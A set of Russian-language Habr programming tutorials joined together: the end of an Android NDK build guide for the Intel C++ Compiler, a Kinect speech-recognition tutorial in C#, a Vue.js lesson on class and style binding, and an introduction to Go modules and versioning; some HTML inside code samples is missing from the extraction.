### 5. Сконфигурируйте свое приложение для выполнения ndk-build с помощью make-файлов
**1.** Откройте файл «app\build.gradle»
**2.** Добавьте в начало файла следующий импорт:
```
import com.android.build.gradle.tasks.NdkCompile
import org.apache.tools.ant.taskdefs.condition.Os
```
**3.** И эти строки после секции «defaultConfig»:
```
sourceSets.main {
jniLibs.srcDir 'src/main/libs' //set .so files location to libs
}
tasks.withType(NdkCompile) { // disable automatic ndk-build call
compileTask -> compileTask.enabled = false
}
task ndkBuild(type: Exec) { // call ndk-build(.cmd) script
if (Os.isFamily(Os.FAMILY_WINDOWS)) {
commandLine 'cmd', '/c', 'ndk-build.cmd', '-C', file('src/main').absolutePath
} else {
commandLine 'ndk-build', '-C', file('src/main').absolutePath
}
}
tasks.withType(JavaCompile) {
compileTask -> compileTask.dependsOn ndkBuild
}
```
**4.** А следующие строки – в конец файла:
```
dependencies {
compile fileTree(dir: 'libs', include: ['*.jar'])
}
```
**5.** Сохраните изменения
**6.** Теперь создадим проект: выберите [Build > Make Project]. Вы увидите все выходные папки и файлы «libmain.so» в папках «main\libs» и «main\obj\local».
### 6. Добавьте ID «hello\_textview» в виджет textview
Откройте «res\layout\activity\_main.xml» и измените виджет «textview» как показано ниже:
### 7. Обновите «MainActivity.java», чтобы UI textview вызов нативной библиотеки:
```
public class MainActivity extends Activity {
static { // load the native library "nativeDemo"
System.loadLibrary("nativeDemo");
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// get the text string from native API, and display on the UI
TextView tv = (TextView)findViewById(R.id.hello_textview);
tv.setText(this.getStringFromNative());
}
```
Для импорта виджета TextView и сохранения изменений нажмите ALT+Enter.
### 8. Запустите виртуальную машину Android Virtual Machine «Intel-Nexus 7 x64» и выполните приложение, щёлкнув кнопку «Run».
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/9be/967/e8a/9be967e8af20e49da359e3b025c6763c.png)
Это означает, что был использован компилятор Intel C++ Compiler for Android.
The end
-------
Теперь вы знаете, как с помощью Intel C++ Compiler в Android Studio создать нативное Android-приложение. Попробуйте запустить его и сообщите нам, что оно делает. | https://habr.com/ru/post/260003/ | null | ru | null |
# Программа, апорт!
* [Kinect for Windows SDK. Часть 1. Сенсор](http://habrahabr.ru/post/150955/)
* [Kinect for Windows SDK. Часть 2. Потоки данных](http://habrahabr.ru/post/151131/)
* [Kinect for Windows SDK. Часть 3. Функциональные возможности](http://habrahabr.ru/post/151296/)
* [Играем в кубики с Kinect](http://habrahabr.ru/post/142236/)
* [Программа, апорт!]
В [прошлой статье](http://habrahabr.ru/post/142236) я затронул тему работы с Microsoft Kinect for Windows и продемонстрировал возможности сенсора на примере игры в кубики. Напомню, что трекинг человеческой фигуры *(skeleton tracking)* не единственная возможность сенсора, и сегодня мне бы хотелось рассказать о распознавании речи.
Для знакомства с Microsoft Speech Platform мы напишем простое приложение, в котором произвольный объект (например, танчик) будет перемещаться по плоскости. Я не стал добавлять голосовые команды в предыдущий пример по двум причинам. Во-первых, хронологически этот пример появился раньше. А, во-вторых, хотелось сконцентрироваться в каждом примере на отдельной функциональности (такой код проще изучать).
Определим, какие пакеты пригодятся нам:
* [Microsoft Speech Platform — SDK](http://www.microsoft.com/download/en/details.aspx?id=27226). Необходимый пакет. Это платформа и инструментарий для начала работы с распознаванием речи.
* [Microsoft Speech Platform — Runtime Languages](http://www.microsoft.com/download/en/details.aspx?id=27224). Опциональный пакет. По умолчанию, в SDK входит только библиотека для распознавания английской речи. Вы можете скачать дополнительные библиотеки для работы с другими языками.
* [Microsoft Kinect for Windows — SDK](http://www.microsoft.com/en-us/kinectforwindows/develop/overview.aspx). Опциональный пакет.
Открою страшную тайну, наличие сенсора не является обязательным условием для возможности распознавания речи. Speech Platform развивается независимо от Kinect, но в тоже время в Kinect SDK вы обязательно найдете примеры с реализацией распознавания речи. Наш пример будет работать как с сенсором, так и с обычным микрофоном.
В первую очередь необходимо понимать, что же собственно программировать. Последовательность действий чрезвычайно проста:
1. выбрать обработчик *(engine)* распознавания из доступных в системе для требуемого языка;
2. создать словарь команд и передать его в полученный обработчик;
3. установить для обработчика источник аудиосигнала. Это могут быть Kinect, микрофон, аудиофайл;
4. дать команду обработчику для начала распознавания.
Теперь в Visual Studio создадим новый проект WPF Application. Я буду писать на C#.
Начнем с того, что попытаемся найти подключенный сенсор. Класс [KinectSensor](http://msdn.microsoft.com/en-us/library/microsoft.kinect.kinectsensor.aspx) предоставляет такую возможность с помощью свойства [KinectSensors](http://msdn.microsoft.com/en-us/library/microsoft.kinect.kinectsensor.kinectsensors.aspx):
```
KinectSensor kinect = KinectSensor.KinectSensors
.Where(s => s.Status == KinectStatus.Connected)
.FirstOrDefault();
```
Обработчик распознавания речи – класс [SpeechRecognitionEngine](http://msdn.microsoft.com/en-us/library/ms587635.aspx), его статический метод [InstalledRecognizers()](http://msdn.microsoft.com/en-us/library/system.speech.recognition.speechrecognitionengine.installedrecognizers.aspx) помогает получить информацию обо всех установленных в системе обработчиках.
```
RecognizerInfo info = SpeechRecognitionEngine.InstalledRecognizers()
.Where(ri => string.Equals(ri.Culture.Name, "en-US", StringComparison.InvariantCultureIgnoreCase))
.FirstOrDefault();
```
Нетрудно догадаться, что таким образом мы получаем информацию об обработчике распознавания английской речи ([RecognizerInfo](http://msdn.microsoft.com/en-us/library/system.speech.recognition.recognizerinfo.aspx)), если такой обработчик есть. Метод InstalledRecognizers не возвращает экземпляров обработчиков, а лишь информацию о них. Поэтому следующим шагом будет создание экземпляра обработчика. Просто передаем в конструктор идентификатор обработчика:
```
var sre = new SpeechRecognitionEngine(info.Id);
```
Теперь подумаем вот о чем. Нам нужно управлять объектом на плоскости. Какие команды подойду для этого? Думаю, что 4 команд достаточно: UP (вверх), DOWN (вниз), LEFT (влево), RIGHT (вправо). И для разнообразия можно добавить пятую команду EXIT (выход). Замечу, что я писал код для распознавания команд на английском языке, но вы можете выбрать любой другой из [54х доступных](http://www.microsoft.com/download/en/details.aspx?id=27224). Создаем словарь команд и загружаем его в обработчик распознавания.
```
var commands = new Choices();
commands.Add("up");
commands.Add("down");
commands.Add("left");
commands.Add("right");
commands.Add("exit");
var gb = new GrammarBuilder(commands) { Culture = info.Culture };
sre.LoadGrammar(new Grammar(gb));
```
В объекте типа [Choices](http://msdn.microsoft.com/en-us/library/system.speech.recognition.choices.aspx) создается список слов (команд) для распознавания. Следующим шагом создается объект грамматики, связанный с культурой команд, и далее грамматика загружается в обработчика распознавания.
Каждое сказанное вами слово, обработчик сравнивает с шаблонами слов в грамматике, чтобы определить, не произнесли ли вы какую-нибудь команду. Но помните, что каждая попытка распознавания сопровождается некоторой вероятностью ошибки, чуть дальше вы увидите это на примере.
Теперь можно определить обработчики для событий распознавания речи. Для нас важно обработать событие [SpeechRecognized](http://msdn.microsoft.com/en-us/library/system.speech.recognition.speechrecognitionengine.speechrecognized.aspx) возникающее, когда обработчик распознавания находит в словаре соответствие произнесенной команде. В объекте SpeechRecognizedEventArgs нам доступно свойство [Result](http://msdn.microsoft.com/en-us/library/system.speech.recognition.recognitioneventargs.result.aspx) в котором можно найти: [распознанное слово](http://msdn.microsoft.com/en-us/library/system.speech.recognition.recognizedphrase.text.aspx), [величину вероятности](http://msdn.microsoft.com/en-us/library/system.speech.recognition.recognizedphrase.confidence.aspx) того, что слово распознано правильно и многое [другое](http://msdn.microsoft.com/en-us/library/system.speech.recognition.recognitionresult.aspx). Два других события [SpeechHypothesized](http://msdn.microsoft.com/en-us/library/system.speech.recognition.speechrecognitionengine.speechhypothesized.aspx) и [SpeechRecognitionRejected](http://msdn.microsoft.com/en-us/library/system.speech.recognition.speechrecognitionengine.speechrecognitionrejected.aspx) представляют интерес скорее для отладки, нежели для реального использования. Первое событие возникает, когда обработчик распознавания делает предположение распознавания. Второе,- когда обработчик распознавания может определить слово лишь с малой долей вероятности.
```
private void Sre_SpeechRecognized(object sender, SpeechRecognizedEventArgs e)
{
// если вероятность распознавания больше 70%
if (e.Result.Confidence >= 0.7)
{
Action handler = null;
switch (e.Result.Text.ToUpperInvariant())
{
case "UP":
case "DOWN":
case "LEFT":
case "RIGHT":
handler = () => { /* some actions */ };
break;
case "EXIT":
handler = () => { this.Close(); };
break;
default:
break;
}
if (handler != null)
{
// обработчик вызывается асинхронно, поэтому действия связанные с обновлением UI необходимо делать через диспетчер
Dispatcher.BeginInvoke(handler, DispatcherPriority.Normal);
}
}
}
```
Нам осталось только установить источник аудиосигнала и начать распознавание. Здесь хочется отметить особенность Kinect. Аудиопоток готов для работы примерно через 4 секунды после инициализации. Это стоит учитывать и, например, создавать таймер, чтобы запускать распознавание с 4-х секундной задержкой.
Помните, я в начале говорил, что наш код будет работать как с Kinect так и с обычным микрофоном? Для того, чтобы это реализовать достаточно правильно установить источник аудиосигнала.
```
if (kinect != null)
{
var audioSource = kinect.AudioSource;
audioSource.BeamAngleMode = BeamAngleMode.Adaptive;
var kinectStream = audioSource.Start();
// захват с микрофонов Kinect
sre.SetInputToAudioStream(kinectStream, new SpeechAudioFormatInfo(EncodingFormat.Pcm, 16000, 16, 1, 32000, 2, null));
}
else
{
// будем захватывать аудиосигнал с микрофона установленного по умолчанию
sre.SetInputToDefaultAudioDevice();
}
// начинаем распознавание. Параметр говорит обработчику распознавания не останавливаться после первой распознанной команды.
sre.RecognizeAsync(RecognizeMode.Multiple);
```
Что касается UI, то здесь все просто. Рисуем объект любой формы (это может быть даже картинка), я нарисовал танк.
![tank](https://habrastorage.org/r/w1560/getpro/habr/post_images/e47/6e7/0b5/e476e70b54a2bf1aced349fdf2ecdff4.png)
И добавляем анимацию для перемещения. Конечно, чтобы не создавать комичных ситуаций, когда танк движется «боком», я добавил еще и анимацию для разворота в нужную сторону. Пример анимации для выполнения команды LEFT (налево):
```
```
Распознавание в действии:
Файлы исходного кода и скомпилированную версию вы найдете в конце статьи. Обратите внимание, что если вы запускаете скомпилированный пример без установленного Speech SDK, вам необходимо установить [Microsoft Speech Platform Runtime](http://www.microsoft.com/download/en/details.aspx?id=27225) и обработчик распознавания английского языка [MSSpeech\_SR\_en-US\_TELE.msi](http://www.microsoft.com/download/en/details.aspx?id=27224)
Подводя итог скажу, что Microsoft Speech Platform действительно большой и интересный продукт, я коснулся лишь его малой части. Интересующимся я бы посоветовал посмотреть примеры работы с этой платформой в Kinect SDK, мне кажется это хорошая отправная точка.
В заключение хочется поблагодарить компанию VIAcode за предоставленный для экспериментов сенсор.
[Сборка примера без Kinect](https://sites.google.com/site/larditefiles/SpeechRecognition.Bin.zip)
[Сборка примера с Kinect](https://sites.google.com/site/larditefiles/SpeechRecognition.Kinect.Bin.zip)
[Исходный код примера](https://sites.google.com/site/larditefiles/SpeechRecognition.Src.zip) | https://habr.com/ru/post/142677/ | null | ru | null |
# Vue.js для начинающих, урок 6: привязка классов и стилей
Сегодня, в шестом уроке курса по Vue, мы поговорим о том, как динамически стилизовать HTML-элементы, привязывая данные к их атрибутам `style` и привязывая к элементам классы.
[![](https://habrastorage.org/r/w780q1/webt/0k/bh/zc/0kbhzck6fodb9a8tr8mwyqowyxe.jpeg)](https://habr.com/ru/company/ruvds/blog/511602/)
→ [Vue.js для начинающих, урок 1: экземпляр Vue](https://habr.com/ru/company/ruvds/blog/509700/)
→ [Vue.js для начинающих, урок 2: привязка атрибутов](https://habr.com/ru/company/ruvds/blog/509702/)
→ [Vue.js для начинающих, урок 3: условный рендеринг](https://habr.com/ru/company/ruvds/blog/510628/)
→ [Vue.js для начинающих, урок 4: рендеринг списков](https://habr.com/ru/company/ruvds/blog/510898/)
→ [Vue.js для начинающих, урок 5: обработка событий](https://habr.com/ru/company/ruvds/blog/511600/)
→ [Vue.js для начинающих, урок 6: привязка классов и стилей](https://habr.com/ru/company/ruvds/blog/511602/)
→ [Vue.js для начинающих, урок 7: вычисляемые свойства](https://habr.com/ru/company/ruvds/blog/512660/)
→ [Vue.js для начинающих, урок 8: компоненты](https://habr.com/ru/company/ruvds/blog/512658/)
Цель урока
----------
Первой целью данного урока будет использование цвета, соответствующего вариантам товаров, для настройки свойства `background-color` элементов , выводящих сведения об этих вариантах. Так как вариантам товара соответствуют цвета `green` и `blue`, нам нужно, чтобы один элемент имел бы зелёный фоновый цвет, а второй — синий.
Вторая цель заключается в том, чтобы, используя привязку классов, отключать, по некоему условию, ненужные элементы управления.
Начальный вариант кода
----------------------
Вот как выглядит сейчас код, находящийся в `index.html`:
```
![]()
{{ product }}
=============
In stock
Out of Stock
* {{ detail }}
{{ variant.variantColor }}
Add to cart
Cart({{ cart }})
```
Вот что сейчас находится в `main.js`:
```
var app = new Vue({
el: '#app',
data: {
product: "Socks",
image: "./assets/vmSocks-green.jpg",
inStock: true,
details: ['80% cotton', '20% polyester', 'Gender-neutral'],
variants: [
{
variantId: 2234,
variantColor: "green",
variantImage: "./assets/vmSocks-green.jpg"
},
{
variantId: 2235,
variantColor: "blue",
variantImage: "./assets/vmSocks-blue.jpg"
}
],
cart: 0
},
methods: {
addToCart() {
this.cart += 1
},
updateProduct(variantImage) {
this.image = variantImage
}
}
})
```
Задача
------
В предыдущем уроке мы создали обработчик событий, который меняет изображение товара, основываясь на том, на какой элемент был наведён указатель мыши. Вместо того чтобы выводить название цвета в элементе , мы хотели бы использовать этот цвет для настройки свойства `background-color` соответствующего элемента . При таком подходе, вместо того, чтобы наводить мышь на тексты, мы сможем наводить её на цветные квадраты, что приведёт к выводу на странице изображения товара, цвет которого соответствует цвету, показанному в квадрате.
Решение
-------
Для начала — давайте добавим к элементу класс `color-box`, который задаёт его ширину, высоту и внешний верхний отступ. Так как мы, даже сделав это, продолжаем выводить в элементах слова `green` и `blue`, мы можем взять названия цветов, хранящихся в объектах, описывающих варианты товара, и использовать эти названия при привязке стиля к атрибуту `style`. Вот как это выглядит:
```
{{ variant.variantColor }}
```
Обратите внимание на вторую и пятую строки этого кода. Здесь мы добавляем к элементу класс `color-box` и привязываем к нему встроенный стиль. Встроенный стиль здесь используется для динамической настройки свойства `background-color` элементов . Цвет для фона элементов берётся из `variant.variantColor`.
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/8f6/8f7/e46/8f68f7e46b099092d92bf00011f34263.png)
*Стилизованные элементы и выводимые на них надписи*
Теперь, когда элемент стилизован с использованием `variantColor`, нам больше не нужно выводить в нём название цвета. Поэтому мы можем избавиться от тега и переместить конструкцию `@mouseover=«updateProduct(variant.variantImage)»` в сам элемент .
Вот как будет выглядеть код после внесения в него вышеописанных изменений:
```
```
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d63/034/52f/d6303452f3082440de87d7977121bd7a.png)
*Стилизованные элементы без текста*
Теперь при наведении мыши на синий квадрат на странице выводится изображение синих носков. А при наведении мыши на зелёный квадрат — изображение зелёных носков. Красота!
Разобравшись с привязкой стилей, поговорим о привязке классов.
Задача
------
Сейчас в наших данных есть следующее:
```
inStock: true,
```
Когда свойство `inStock` принимает значение `false`, нам нужно запретить посетителям сайта щёлкать по кнопке `Add to Cart`, так как на складе нет товара, а значит, его нельзя добавить в корзину. К нашей удаче, существует специальный HTML-атрибут, носящий имя `disabled`, с помощью которого можно отключить кнопку.
Если вспомнить материал [второго урока](https://habr.com/ru/company/ruvds/blog/509702/), то окажется, что мы можем воспользоваться техникой привязки атрибутов для добавления к элементу атрибута `disabled` тогда, когда `inStock` равняется `false`, или, скорее, в случае, когда это значение не является истинным (`!inStock`). Перепишем код кнопки:
```
Add to cart
```
Теперь, в том случае, если в `inStock` записано `false`, кнопка работать не будет. Но её внешний вид не изменится. Другими словами, кнопка всё ещё будет выглядеть так, будто на неё можно нажать, несмотря на то, что на самом деле нажимать на неё бессмысленно.
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/800/aeb/a0b/800aeba0b7d84113d40dd8222025f33f.png)
*Отключённая кнопка выглядит так же, как обычная, но щёлкать по ней бессмысленно*
Решение
-------
Тут мы поступим, действуя по той же схеме, по которой действовали, привязывая `inStock` к атрибуту `disabled`. А именно, будем привязывать класс `disabledButton` к нашей кнопке в случаях, когда `inStock` хранит `false`. При таком подходе, если по кнопке будет бессмысленно щёлкать, то и выглядеть она будет соответственно.
```
Add to cart
```
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/218/05f/fdf/21805ffdf9b39a253e6b9d37a2511b9f.png)
*Отключённая кнопка выглядит так, как нужно*
Как видите, теперь кнопка становится серой в том случае, если `inStock` равняется `false`.
Давайте разберёмся в том, что здесь происходит.
Взгляните на эту строчку:
```
:class="{ disabledButton: !inStock }"
```
Здесь мы используем сокращённый вариант записи директивы `v-bind` (`:`) для организации привязки данных к атрибуту `class` кнопки. В фигурных скобках мы определяем присутствие класса `disabledButton` на основании истинности свойства `inStock`.
Другими словами, когда товара на складе нет (`!inStock`), к кнопке добавляется класс `disabledButton`. Так как этот класс задаёт серый фоновый цвет кнопки, кнопка становится серой.
Замечательно! Только что мы скомбинировали наши новые знания, касающиеся привязки классов, со знаниями о привязке атрибутов, и смогли отключить кнопку и делать её серой в том случае, если `inStock` равняется `false`.
Дополнительные сведения
-----------------------
К элементу можно привязывать объект классов или массив классов:
```
```
Практикум
---------
Когда в `inStock` записано значение `false`, нужно привязать к тегу , выводящему текст `Out of Stock`, класс, который добавляет к элементу стиль `text-decoration: line-through`, перечёркивая текст.
→ [Вот](https://codepen.io/GreggPollack/pen/XOvdZy) заготовка, которую вы можете использовать для решения этой задачи.
→ [Вот](https://codepen.io/GreggPollack/pen/YBmqaX) решение задачи.
Итоги
-----
Вот самое важное из того, что мы сегодня изучили:
* Данные можно привязывать к атрибуту элементов `style`.
* Данные можно привязывать к атрибуту элементов `class`.
* При организации привязки классов можно пользоваться выражениями, от вычисления которых зависит то, будет ли соответствующий класс привязан к элементу.
**Вы прошли уже большую часть этого курса. Просим поделиться впечатлениями.**
→ [Vue.js для начинающих, урок 1: экземпляр Vue](https://habr.com/ru/company/ruvds/blog/509700/)
→ [Vue.js для начинающих, урок 2: привязка атрибутов](https://habr.com/ru/company/ruvds/blog/509702/)
→ [Vue.js для начинающих, урок 3: условный рендеринг](https://habr.com/ru/company/ruvds/blog/510628/)
→ [Vue.js для начинающих, урок 4: рендеринг списков](https://habr.com/ru/company/ruvds/blog/510898/)
→ [Vue.js для начинающих, урок 5: обработка событий](https://habr.com/ru/company/ruvds/blog/511600/)
→ [Vue.js для начинающих, урок 6: привязка классов и стилей](https://habr.com/ru/company/ruvds/blog/511602/)
→ [Vue.js для начинающих, урок 7: вычисляемые свойства](https://habr.com/ru/company/ruvds/blog/512660/)
→ [Vue.js для начинающих, урок 8: компоненты](https://habr.com/ru/company/ruvds/blog/512658/)
[![](https://habrastorage.org/r/w1560/webt/de/0y/l-/de0yl-6ppopvisr_a80b4yuhjj8.png)](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=vuelesson6#order) | https://habr.com/ru/post/511602/ | null | ru | null |
# Введение в систему модулей Go
Грядущий релиз версии 1.11 языка программирования Go принесет экспериментальную поддержку *модулей* — новую систему управления зависимостями для Go. (прим.перев.: [релиз состоялся](https://blog.golang.org/go1.11))
Недавно [я уже писал об этом небольшой пост](https://roberto.selbach.ca/playing-with-go-modules/). С тех пор кое-что слегка поменялось, да и мы стали ближе к релизу, поэтому мне кажется, что настало время для новой статьи — добавим больше практики.
Итак, вот, что мы будем делать: создадим новый пакет и потом сделаем несколько релизов, чтобы посмотреть, как это работает.
Создание модуля
---------------
Первым делом создадим наш пакет. Назовём его "testmod". Важная деталь: **каталог пакета следует разместить *за пределами* вашего `$GOPATH`, потому что, внутри него по умолчанию отключена поддержка модулей**. Модули Go — это первый шаг к полному отказу в будущем от `$GOPATH`.
```
$ mkdir testmod
$ cd testmod
```
Наш пакет весьма прост:
```
package testmod
import "fmt"
// Hi returns a friendly greeting
func Hi(name string) string {
return fmt.Sprintf("Hi, %s", name)
}
```
Пакет готов, но он ещё пока не является *модулем*. Давайте исправим это.
```
$ go mod init github.com/robteix/testmod
go: creating new go.mod: module github.com/robteix/testmod
```
У нас появился новый файл с именем `go.mod` в каталоге пакета со следующим содержимым:
```
module github.com/robteix/testmod
```
Немного, но именно это и превращает наш пакет в *модуль*.
Теперь мы можем запушить этот код в репозиторий:
```
$ git init
$ git add *
$ git commit -am "First commit"
$ git push -u origin master
```
До сих пор, любой желающий использовать наш пакет применил бы `go get`:
```
$ go get github.com/robteix/testmod
```
И эта команда принесла бы самый свежий код из ветки `master`. Такой вариант все ещё работает, но лучше бы нам так больше не делать, ведь теперь "есть способ лучше". Забирать код прямо из ветки `master`, по сути, опасно, поскольку мы никогда не знаем наверняка, что авторы пакета не сделали изменений, которые "сломают" наш код. Для решения именно этой проблемы и были придуманы модули Go.
Небольшое отступление о версионировании модулей
-----------------------------------------------
Модули Go — версионируемы, плюс есть некоторая специфичность отдельных версий. Вам придется познакомится с концепциями, лежащими в основе [семантического версионирования](https://semver.org/lang/ru/).
К тому же, Go использует метки репозитория, когда ищет версии, а некоторые версии отличаются от остальных: например, версии 2 и более должны иметь другой путь импорта, чем для версий 0 и 1 (мы дойдем до этого).
По умолчанию, Go загружает самую свежую *версию, имеющую метку*, доступную в репозитории.
Это важная особенность, поскольку её можно использовать при работе с веткой `master`.
Для нас сейчас важно то, что, создавая релиз нашего пакета, нам необходимо поставить метку с версией в репозитории.
Давайте это и сделаем.
Делаем свой первый релиз
------------------------
Наш пакет готов и мы можем "зарелизить" его на весь мир. Сделаем это с помощью версионных меток. Пусть номер версии будет 1.0.0:
```
$ git tag v1.0.0
$ git push --tags
```
Эти команды создают метку в моём Github-репозитории, помечающую текущий коммит как релиз 1.0.0.
Go не настивает на этом, но хорошей идеей будет создать дополнительно новую ветку ("v1"), в которую мы можем отправлять исправления.
```
$ git checkout -b v1
$ git push -u origin v1
```
Теперь мы можем работать в ветке `master` не беспокоясь, что можем сломать наш релиз.
Использование нашего модуля
---------------------------
Давайте используем созданный модуль. Мы напишем простую программу, которая импортирует наш новый пакет:
```
package main
import (
"fmt"
"github.com/robteix/testmod"
)
func main() {
fmt.Println(testmod.Hi("roberto"))
}
```
До сих пор, вы запускали бы `go get github.com/robteix/testmod`, чтобы скачать пакет, но с модулями становится интереснее. Для начала нам надо включить поддержку модулей в нашей новой программе.
```
$ go mod init mod
```
Как вы наверняка и ожидали, исходя из прочитанного ранее, в каталоге появился новый файл `go.mod` с именем модуля внутри:
```
module mod
```
Ситуация становится ещё интереснее, когда мы попытаемся собрать нашу программу:
```
$ go build
go: finding github.com/robteix/testmod v1.0.0
go: downloading github.com/robteix/testmod v1.0.0
```
Как видно, команда `go` автоматически нашла и загрузила пакет, импортируемый нашей программой.
Если мы проверим наш файл `go.mod`, мы увидим, что кое-что изменилось:
```
module mod
require github.com/robteix/testmod v1.0.0
```
И у нас появился ещё один новый файл с именем `go.sum`, который содержит хэши пакетов, чтобы проверять правильность версии и файлов.
```
github.com/robteix/testmod v1.0.0 h1:9EdH0EArQ/rkpss9Tj8gUnwx3w5p0jkzJrd5tRAhxnA=
github.com/robteix/testmod v1.0.0/go.mod h1:UVhi5McON9ZLc5kl5iN2bTXlL6ylcxE9VInV71RrlO8=
```
Делаем релиз релиз с исправлением ошибки
----------------------------------------
Теперь, скажем, мы нашли проблему в нашем пакете: в приветствии отсутствует пунктуация!
Некоторые люди взбесятся, ведь наше дружелюбное приветствие уже не такое и дружелюбное.
Давайте исправим это и выпустим новую версию:
```
// Hi returns a friendly greeting
func Hi(name string) string {
- return fmt.Sprintf("Hi, %s", name)
+ return fmt.Sprintf("Hi, %s!", name)
}
```
Мы сделали это изменение прямо в ветке `v1`, потому что оно не имеет отношения к тому, что мы будет делать дальше в ветке `v2`, но в реальной жизни, возможно, вам следовало бы внести эти изменения в `master` и уже потом бэкпортировать их в `v1`. В любом случае, исправление должно оказаться в ветке `v1` и нам надо отметить это как новый релиз.
```
$ git commit -m "Emphasize our friendliness" testmod.go
$ git tag v1.0.1
$ git push --tags origin v1
```
Обновление модулей
------------------
По умолчанию, Go не обновляет модули без спроса. "И это хорошо", поскольку нам всем хотелось бы предсказуемости в наших сборках. Если бы модули Go обновлялись бы автоматически каждый раз, когда выходит новая версия, мы вернулись бы в "тёмные века до-Go1.11". Но нет, нам надо *сообщить* Go, чтобы он обновил для нас модули.
А сделаем мы это с помощью нашего старого друга — `go get`:
* запускаем `go get -u`, чтобы использовать последний *минорный или патч-* релиз (т.е. команда обновит с 1.0.0 до, скажем, 1.0.1 или до 1.1.0, если такая версия доступна)
* запускаем `go get -u=patch` чтобы использовать последнюю патч-версию (т.е. пакет обновится до 1.0.1, но *не* до 1.1.0)
* запускаем `go get package@version`, чтобы обновиться до конкретной версии (например, `github.com/robteix/testmod@v1.0.1`)
В этом списке нет способа обновиться до последней *мажорной* версии. На то есть весомая причина, как мы вскоре увидим.
Поскольку наша программа использовала версию 1.0.0 нашего пакета и мы только что создали версию 1.0.1, *любая* из следующих команд обновит нас до 1.0.1:
```
$ go get -u
$ go get -u=patch
$ go get github.com/robteix/testmod@v1.0.1
```
После запуска (допустим, `go get -u`), наш `go.mod` изменился:
```
module mod
require github.com/robteix/testmod v1.0.1
```
Мажорные версии
---------------
В соответствии со спецификацией семантического версионирования, мажорная версия *отличается* от минорных. Мажорные версии могут ломать обратную совместимость. С точки зрения Go модулей, мажорная версия — это совершенно *другой пакет*.
Может и звучит дико поначалу, но это имеет смысл: две версии библиотеки, которые несовместимы между собой, являются двумя разными библиотеками.
Давайте сделаем мажорное изменение в нашем пакете. Допустим, со временем, нам стало ясно, что наш API слишком прост, слишком ограничен для "юзкейсов" наших пользователей, поэтому нам надо изменить функцию `Hi()`, чтобы она принимала язык приветствия в качестве параметра:
```
package testmod
import (
"errors"
"fmt"
)
// Hi returns a friendly greeting in language lang
func Hi(name, lang string) (string, error) {
switch lang {
case "en":
return fmt.Sprintf("Hi, %s!", name), nil
case "pt":
return fmt.Sprintf("Oi, %s!", name), nil
case "es":
return fmt.Sprintf("¡Hola, %s!", name), nil
case "fr":
return fmt.Sprintf("Bonjour, %s!", name), nil
default:
return "", errors.New("unknown language")
}
}
```
Существующие программы, использующие наш API, сломаются, потому что они а) не передают язык в качестве параметра и б) не ожидают возврата ошибки. Наш новый API более не совместим с версией 1.x, так что встречайте версию 2.0.0.
Ранее я упоминал, что некоторые версии имеют особенности, и вот сейчас такой случай.
**Версии 2 *и более* должны сменить путь импорта.** Теперь это разные библиотеки.
Мы сделаем это добавив новый *версионный путь* к названию нашего модуля.
```
module github.com/robteix/testmod/v2
```
Всё остальное то же самое: пушим, ставим метку, что это v2.0.0 (и опционально содаём ветку v2)
```
$ git commit testmod.go -m "Change Hi to allow multilang"
$ git checkout -b v2 # optional but recommended
$ echo "module github.com/robteix/testmod/v2" > go.mod
$ git commit go.mod -m "Bump version to v2"
$ git tag v2.0.0
$ git push --tags origin v2 # or master if we don't have a branch
```
Обновление мажорной версии
--------------------------
Даже при том, что мы зарелизили новую несовместимую версию нашей библиотеки, существующие программы *не сломались*, потому что они продолжают исполользовать версию 1.0.1.
`go get -u` *не будет* загружать версию 2.0.0.
Но в какой-то момент, я, как пользователь библиотеки, могу захотеть обновиться до версии 2.0.0, потому что, например, я один из тех пользователей, которым нужна поддержка нескольких языков.
Чтобы обновиться, надо соответствующим образом изменить мою программу:
```
package main
import (
"fmt"
"github.com/robteix/testmod/v2"
)
func main() {
g, err := testmod.Hi("Roberto", "pt")
if err != nil {
panic(err)
}
fmt.Println(g)
}
```
Теперь, когда я запущу `go build`, он "сходит" и загрузит для меня версию 2.0.0. Обратите внимание, хотя путь импорта теперь заканчивается на "v2", Go всё ещё ссылается на модуль по его настоящему имени ("testmod").
Как я уже говорил, мажорная версия — это во всех отношениях другой пакет. Эти два модуля Go никак не связаны. Это значит, что у нас может быть две несовместимые версии в одном бинарнике:
```
package main
import (
"fmt"
"github.com/robteix/testmod"
testmodML "github.com/robteix/testmod/v2"
)
func main() {
fmt.Println(testmod.Hi("Roberto"))
g, err := testmodML.Hi("Roberto", "pt")
if err != nil {
panic(err)
}
fmt.Println(g)
}
```
И это избавляет от распространенной проблемы с управлением зависимостями, когда зависимости зависят от разных версий одной и той же библиотеки.
Наводим порядок
---------------
Вернёмся к предыдущей версии, которая использует только testmod 2.0.0 — если мы сейчас проверим содержимое `go.mod`, мы кое-что заметим:
```
module mod
require github.com/robteix/testmod v1.0.1
require github.com/robteix/testmod/v2 v2.0.0
```
По умолчанию, Go не удаляет зависимости из `go.mod`, пока вы об этом не попросите. Если у вас есть зависимости, которые больше не нужны, и вы хотите их почистить, можно воспользоваться новой командой `tidy`:
```
$ go mod tidy
```
Теперь у нас остались только те зависимости, которые мы реально используем.
Вендоринг
---------
Модули Go по умолчанию игнорируют каталог `vendor/`. Идея в том, чтобы постепенно избавиться от вендоринга[1](#fn1). Но если мы все ещё хотим добавить "отвендоренные" зависимости в наш контроль версий, мы можем это сделать:
```
$ go mod vendor
```
Команда создаст каталог `vendor/` в корне нашего проекта, содержащий исходный код всех зависимостей.
Однако, `go build` по умолчанию все ещё игнорирует содержимое этого каталога. Если вы хотите собрать зависимости из каталога `vendor/`, надо об этом явно попросить.
```
$ go build -mod vendor
```
Я предполагаю, что многие разработчики, желающие использовать вендоринг, будут запускать `go build`, как обычно, на своих машинах и использовать `-mod vendor` на своих CI.
Повторюсь, модули Go уходят от идеи вендоринга к использованию прокси для модулей для тех, кто не хочет напрямую зависеть от вышестоящих служб контроля версий.
Есть способы гарантировать, что `go` будет недоступна сеть (например, с помощью `GOPROXY=off`), но это уже тема следующей статьи.
Заключение
----------
